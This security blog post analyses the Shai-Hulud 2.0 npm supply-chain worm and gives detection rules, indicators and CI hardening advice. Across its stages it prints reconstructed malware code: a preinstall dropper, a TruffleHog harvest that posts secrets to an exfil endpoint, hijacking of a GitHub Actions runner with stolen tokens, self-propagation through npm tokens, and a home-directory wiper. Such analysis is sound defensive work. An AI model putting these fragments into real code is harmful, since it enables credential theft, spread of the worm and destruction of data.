On November 24, 2025, PostHog’s engineering team noticed something wrong with one of their npm packages. Within hours, it became clear this was not a one-off compromise – it was a self-replicating worm burning through the npm ecosystem at a pace no human response team could match. By the time defenders had a complete picture, 796 packages, 25,000+ repositories, and 33,185 harvested secrets later, Shai-Hulud 2.0 had already demonstrated exactly how fragile the developer toolchain trust model is.
I have been tracking supply chain threats since the SolarWinds campaign in 2020. Shai-Hulud 2.0 is qualitatively different from anything that came before it in the npm ecosystem: it is not a typosquat, not a dependency confusion attack, not a one-shot backdoor. It is a worm – fully automated, self-propagating, and capable of registering infected machines as persistent GitHub Actions runners under attacker control. This post tears it apart.
Threat Model
Who attacks this: Nation-state-adjacent threat actors and sophisticated financially motivated groups capable of compromising npm maintainer accounts at scale. The original Shai-Hulud campaign established the tooling; the 2.0 wave deployed it as a worm.
How: Multi-stage attack exploiting the implicit trust developers and CI/CD systems place in npm’s preinstall lifecycle hook. No user interaction beyond npm install is required.
Why: Mass credential harvesting at scale. A single infected CI runner may hold AWS AdministratorAccess keys, GitHub PATs with repo scope, and npm automation tokens – all of which the worm harvests automatically and exfiltrates before the process exits.
Impact:
- Cloud credential theft leading to AWS/GCP/Azure account takeover
- Persistent code execution on CI/CD infrastructure via GitHub Actions self-hosted runner registration
- Supply chain propagation: stolen npm tokens republish backdoored versions of legitimate packages, extending the blast radius exponentially
- Destructive wiper capability: if propagation or exfiltration fails, the malware wipes the developer’s home directory
The attack surface is every developer machine and CI runner that runs npm install on a compromised dependency – which, in a monorepo with 800+ dependencies, is every single pipeline run.
Technical Deep-Dive
Stage 1 – Initial Access: Poisoned Preinstall Hook
The attacker begins by compromising a legitimate npm maintainer account (via stolen credentials, session token hijack, or phishing) and publishing a new patch version of a widely-used package. The backdoor is injected into package.json:
{
"name": "legitimate-package",
"version": "2.4.1",
"scripts": {
"preinstall": "node setup_bun.js"
}
}The preinstall hook fires before any package code is executed, before tests run, and before most security tooling has a chance to inspect the payload. The script setup_bun.js is included in the package tarball.
Stage 2 – Dropper: setup_bun.js
setup_bun.js is a dropper written in Node.js. It checks for the Bun JavaScript runtime, installs it if absent using the official installer (making it look like a legitimate developer tool), and then launches the actual payload as a detached background process:
// setup_bun.js (reconstructed from analysis)
const { execSync, spawn } = require('child_process');
const os = require('os');
const path = require('path');
const BUN_CACHE = path.join(os.homedir(), '.truffler-cache');
function ensureBun() {
try {
execSync('bun --version', { stdio: 'ignore' });
} catch {
// Installs via official bun.sh installer - appears legitimate in logs
execSync('curl -fsSL https://bun.sh/install | bash', { stdio: 'ignore' });
}
}
function launchPayload() {
const payload = path.join(__dirname, 'bun_environment.js');
const proc = spawn(process.env.HOME + '/.bun/bin/bun', [payload], {
detached: true,
stdio: 'ignore',
});
proc.unref(); // Orphan the process - npm install returns normally
}
ensureBun();
launchPayload();Using Bun rather than Node.js is deliberate: it reduces the chance of detection by endpoint tools tuned to watch Node.js process trees, and Bun’s single-binary distribution avoids leaving a node_modules footprint.
Stage 3 – Credential Harvest: Weaponised TruffleHog
bun_environment.js is the core payload. It downloads the latest TruffleHog binary from GitHub’s releases API, caches it in ~/.truffler-cache/, and runs a filesystem scan of the victim’s home directory:
// bun_environment.js - harvest phase (reconstructed)
import { $ } from 'bun';
import { homedir } from 'os';
import { join } from 'path';
const CACHE_DIR = join(homedir(), '.truffler-cache');
const TRUFFLEHOG = join(CACHE_DIR, 'trufflehog');
const EXFIL_ENDPOINT = 'https://[REDACTED]/ingest';
async function installTrufflehog() {
const release = await fetch(
'https://api.github.com/repos/trufflesecurity/trufflehog/releases/latest'
).then(r => r.json());
const asset = release.assets.find(a => a.name.includes('linux_amd64'));
const tarball = await fetch(asset.browser_download_url);
// ... extract and cache binary
}
async function harvest() {
const result = await $`${TRUFFLEHOG} filesystem ${homedir()} \
--json \
--no-update \
--timeout=600s`.timeout(620_000).text();
await fetch(EXFIL_ENDPOINT, {
method: 'POST',
body: result,
headers: { 'Content-Type': 'application/json' },
});
}
await installTrufflehog();
await harvest();
await registerRunner(); // Phase 3
await propagate(); // Phase 4The 10-minute scan timeout is intentional – long enough to sweep a full home directory, short enough to avoid the kind of sustained CPU spike that would trigger an alert in most monitoring setups.
Target secrets include: AWS ~/.aws/credentials, ~/.aws/config; GCP ADC at ~/.config/gcloud/application_default_credentials.json; Azure ~/.azure/accessTokens.json; npm tokens in ~/.npmrc; GitHub tokens in ~/.config/gh/hosts.yml and git credential helpers; SSH private keys; .env files in any project directory under ~.
Stage 4 – Persistence: GitHub Actions Runner Hijack
After exfiltrating credentials, the malware uses a stolen GitHub token to register the compromised machine as a self-hosted GitHub Actions runner named SHA1HULUD:
# Reconstructed registration sequence
curl -sX POST \
-H "Authorization: token ${STOLEN_GITHUB_TOKEN}" \
-H "Accept: application/vnd.github+json" \
https://api.github.com/repos/${ATTACKER_ORG}/${ATTACKER_REPO}/actions/runners/registration-token \
| jq -r '.token' > /tmp/reg_token
./config.sh \
--url https://github.com/${ATTACKER_ORG}/${ATTACKER_REPO} \
--token $(cat /tmp/reg_token) \
--name SHA1HULUD \
--unattended \
--replaceThe runner registers against an attacker-controlled repository. Workflows are triggered via GitHub Discussions – a rarely monitored API surface that avoids the scrutiny applied to push and pull_request events. This gives the attacker persistent, durable remote code execution on the victim machine through GitHub’s own infrastructure.
Stage 5 – Propagation: Worm Self-Replication
The final stage converts the victim into a new infection source. Using the stolen npm token, the malware publishes backdoored patch versions of every package the victim maintains:
async function propagate() {
const npmrc = await readFile(join(homedir(), '.npmrc'), 'utf8');
const token = npmrc.match(/\/\/registry\.npmjs\.org\/:_authToken=(.+)/)?.[1];
if (!token) return;
// List victim's published packages via npm API
const packages = await fetch(`https://registry.npmjs.org/-/user/${username}/packages`)
.then(r => r.json());
for (const pkg of Object.keys(packages)) {
await injectAndPublish(pkg, token);
}
}Each newly published package contains the same dropper, encoded in double Base64 to evade static analysis tooling that pattern-matches against known malicious strings. Compromised repositories receive the description marker "Sha1-Hulud: The Second Coming." – a fingerprint the attacker uses to enumerate and manage their fleet.
If propagation fails (missing npm token, 2FA challenge, rate limiting), the worm falls back to a wiper:
import { rm } from 'fs/promises';
await rm(homedir(), { recursive: true, force: true });This is not ransomware – there is no ransom demand. The wiper is a scorched-earth fallback designed to destroy forensic evidence and deny defenders access to the compromised machine.
Diagram

The diagram maps all four phases: initial infection via the poisoned npm preinstall hook, credential harvesting via weaponised TruffleHog, persistence via GitHub Actions runner registration with C2 over GitHub Discussions, and worm propagation via stolen npm tokens. The self-replication loop in the outer right is the defining characteristic of this campaign – each new victim becomes a new infection source.
Detection & Monitoring
Process Tree Anomalies
The most reliable detection signal is the process chain spawned during npm install. In any sane environment, npm install should not spawn curl, bun, or trufflehog. The canonical infection chain:
npm → sh -c node setup_bun.js → node setup_bun.js → bun → trufflehogFalco rule (for containerised CI runners):
- rule: Shai-Hulud npm Dropper Execution
desc: Detects the Shai-Hulud infection chain spawned from npm preinstall
condition: >
spawned_process and
proc.pname in (npm, node) and
proc.name in (bun, curl, wget) and
not proc.cmdline startswith "node /usr/local/lib"
output: >
Suspicious process spawned by npm (user=%user.name cmd=%proc.cmdline
parent=%proc.pname container=%container.name)
priority: CRITICAL
tags: [supply_chain, shai_hulud]
- rule: TruffleHog Execution from Home Cache
desc: Detects TruffleHog binary running from .truffler-cache
condition: >
spawned_process and
proc.exe contains ".truffler-cache/trufflehog"
output: >
TruffleHog executed from suspect cache dir (user=%user.name
exe=%proc.exe container=%container.name)
priority: CRITICAL
tags: [credential_theft, shai_hulud]GitHub Actions Runner Registration
Unauthorised runner registrations are high-fidelity signals. GitHub emits a runner.created event in the audit log:
# Query GitHub org audit log for rogue runner registrations
gh api \
/orgs/YOUR-ORG/audit-log \
--field phrase="action:runners.create" \
--field per_page=100 \
| jq '.[] | select(.runner_name == "SHA1HULUD" or (.runner_name | test("sha1|hulud|SHA1"; "i")))
| {timestamp: .created_at, actor: .actor, runner: .runner_name, repo: .repo}'Splunk / SIEM detection rule:
index=github_audit action="runners.create"
| eval runner_lower=lower(runner_name)
| where match(runner_lower, "sha1hulud|sha1-hulud|shai.hulud")
OR (isnotnull(runner_name) AND NOT match(actor, "^(your-org-bots)$"))
| stats count by actor, runner_name, repo, _time
| where _time > relative_time(now(), "-24h@h")Network IOCs
| Indicator | Type | Confidence |
|---|---|---|
Outbound HTTPS to api.github.com/repos/trufflesecurity/trufflehog/releases from CI runner | Domain | High |
| DNS for attacker C2 exfil endpoint (varies by campaign wave) | Domain | Medium |
Bun installer: bun.sh/install fetch from build process | Domain | Medium |
~/.truffler-cache/ directory creation | Filesystem | High |
SHA1HULUD string in GitHub API calls | String | Critical |
Package description containing "Sha1-Hulud: The Second Coming." | npm metadata | Critical |
npm Registry Monitoring
# Check if any of your dependencies were part of the campaign
# Cross-reference against published IOC lists from Datadog Security Labs / Palo Alto Unit 42
npm audit --audit-level=low 2>/dev/null | jq '.vulnerabilities | keys[]'
# Verify package integrity against known-good digest
npm view your-package@latest dist.integrity
# Compare against your lockfile entry:
cat package-lock.json | jq '.packages["node_modules/your-package"].integrity'Defensive Controls
Prioritised by impact – the first two alone would have stopped this campaign dead.
1. Lock Your Dependency Graph – Completely
This is the highest-leverage control. A locked, verified dependency graph means a new malicious version published to npm cannot reach your build without explicit human action.
# npm: commit package-lock.json and use --frozen-lockfile in CI
npm ci # Fails if package-lock.json doesn't match package.json
# Never run npm install in CI - always npm ciIn your CI pipeline, enforce this at the runner level:
# GitHub Actions
- name: Install dependencies (frozen)
run: npm ci
env:
NPM_CONFIG_PREFER_OFFLINE: "true"
NPM_CONFIG_AUDIT: "false" # Audit separately, don't slow the install2. Disable preinstall / postinstall Hooks
npm allows disabling lifecycle scripts globally. For CI environments, this should be non-negotiable:
# Disable all lifecycle hooks in CI
npm ci --ignore-scriptsFor development environments where you need some scripts, use a per-package allowlist:
# .npmrc in your repo
ignore-scripts=true
# Then explicitly permit only the scripts you actually need:
# (There is currently no per-package ignore-scripts; rely on audit tooling instead)3. Mirror npm Through a Private Registry with Allowlist
Run Verdaccio or JFrog Artifactory as a caching proxy. Every package version that enters your build must pass through it:
# .npmrc
registry=https://your-registry.internal/npm/
always-auth=trueConfigure your registry to require manual promotion of any new version of a pinned dependency. New patch versions do not automatically become available to builds – a human reviews the diff first.
4. Pin Dependencies to Exact Versions + Digest Verification
# package.json - no ranges, exact versions only
{
"dependencies": {
"express": "4.18.2", # Not ^4.18.2
"lodash": "4.17.21"
}
}Consider socket.dev or snyk for continuous monitoring of your dependency graph for new versions that introduce suspicious scripts, network access, or filesystem writes.
5. Sandbox Your CI Runners
The Shai-Hulud payload requires outbound HTTPS to GitHub’s API, bun.sh, and the attacker’s C2. Egress filtering kills it:
# GitHub Actions: use ephemeral, network-restricted runners
jobs:
build:
runs-on: ubuntu-latest
# Or: use a self-hosted runner in a VPC with egress restricted
# to your private registry, GitHub API, and nothing elseFor self-hosted runners, enforce egress via firewall:
# Allow only necessary outbound destinations from CI runner subnet
iptables -A OUTPUT -d registry.npmjs.org -p tcp --dport 443 -j ACCEPT
iptables -A OUTPUT -d github.com -p tcp --dport 443 -j ACCEPT
iptables -A OUTPUT -d your-internal-registry -p tcp --dport 443 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 443 -j DROP # Block everything else6. Rotate Credentials Stored in CI Environments
If you ran npm install on any dependency active during the November 2025 campaign wave:
- Rotate your npm automation token immediately
- Rotate GitHub PATs and check for unauthorised runner registrations (
Settings → Actions → Runners) - Rotate AWS/GCP/Azure credentials stored in
~/.aws,~/.config/gcloud,~/.azure - Audit
~/.npmrc,~/.netrc, and all.envfiles for tokens that may have been exfiltrated - Check
~/.truffler-cache/– its existence is a high-confidence infection indicator
Control Effectiveness Summary
| Control | Stops Phase 1 | Stops Phase 2 | Stops Phase 3 | Stops Phase 4 | Complexity |
|---|---|---|---|---|---|
npm ci --ignore-scripts | Yes | Yes | Yes | Yes | Low |
| Frozen lockfile | Partial | Partial | Partial | Partial | Low |
| Private registry with allowlist | Yes | Yes | Yes | Yes | Medium |
| Egress filtering on CI runners | No | Yes | Partial | Partial | Medium |
| Falco / process tree monitoring | No | No | Detect | Detect | Medium |
| GitHub audit log monitoring | No | No | Detect | No | Low |
| Credential rotation | No | No | Mitigate | No | Low |
Takeaways
npm installin CI without--ignore-scriptsis a pre-auth RCE primitive. The preinstall hook runs as the CI user before any defensive tooling can act. Disable lifecycle scripts in all CI environments withnpm ci --ignore-scripts. No exceptions, no convenience carve-outs.- Your CI runner’s credentials are your most valuable attack surface. Shai-Hulud 2.0 does not exploit a CVE – it exploits the credential density of developer environments. A single infected build contains the keys to your cloud, your registry, and your source control. Treat CI credential stores with the same rigour as production secrets.
- Self-hosted GitHub Actions runners are persistent backdoors if not tightly scoped. The runner registration attack is surgical: it turns GitHub’s own infrastructure into C2. Audit runner registrations daily. Any runner named by a process you did not authorise should be treated as a full incident, not a misconfiguration.
- The wiper fallback is a deliberate forensic denial technique. If you detect a potential Shai-Hulud infection, isolate the machine before attempting remediation – do not let the process finish. The wiper triggers when propagation fails, which means killing the network connection mid-execution may destroy your home directory.
- Open-source tooling used by defenders can be weaponised offensively at scale. TruffleHog is a legitimate, widely trusted secret-scanning tool. Shai-Hulud 2.0 downloads it directly from the official GitHub releases endpoint, which means network-based allowlists that trust
github.comdo not block the harvest stage. The attacker’s operational security here is sharp.
References
- Microsoft Security Blog: Shai-Hulud 2.0 – Guidance for detecting, investigating, and defending against the supply chain attack
- Datadog Security Labs: The Shai-Hulud 2.0 npm worm analysis
- Palo Alto Unit 42: “Shai-Hulud” Worm Compromises npm Ecosystem in Supply Chain Attack
- Upwind: Shai-Hulud 2.0 – The NPM Supply Chain Attack Returns as an Aggressive Self-Propagating Worm
- Zscaler ThreatLabz: Shai-Hulud V2 Poses Risk to NPM Supply Chain
- Trend Micro: Shai-hulud 2.0 Campaign Targets Cloud and Developer Ecosystems
- GBHackers: Shai-Hulud 2.0 Cyberattack Compromises 30,000 Repos and Exposes 500 GitHub Accounts
- PostHog: Post-mortem of Shai-Hulud attack on November 24th, 2025
- CyberScoop: ‘Mini Shai-Hulud’ malware compromises hundreds of open-source packages
- Cybersecurity News: Shai Hulud v2 Exploits GitHub Actions Workflows as Attack Vector to Steal Secrets
- MITRE ATT&CK: T1195.001 – Supply Chain Compromise: Compromise Software Dependencies and Development Tools
- OWASP Top 10 CI/CD Risks: CICD-SEC-3 Dependency Chain Abuse
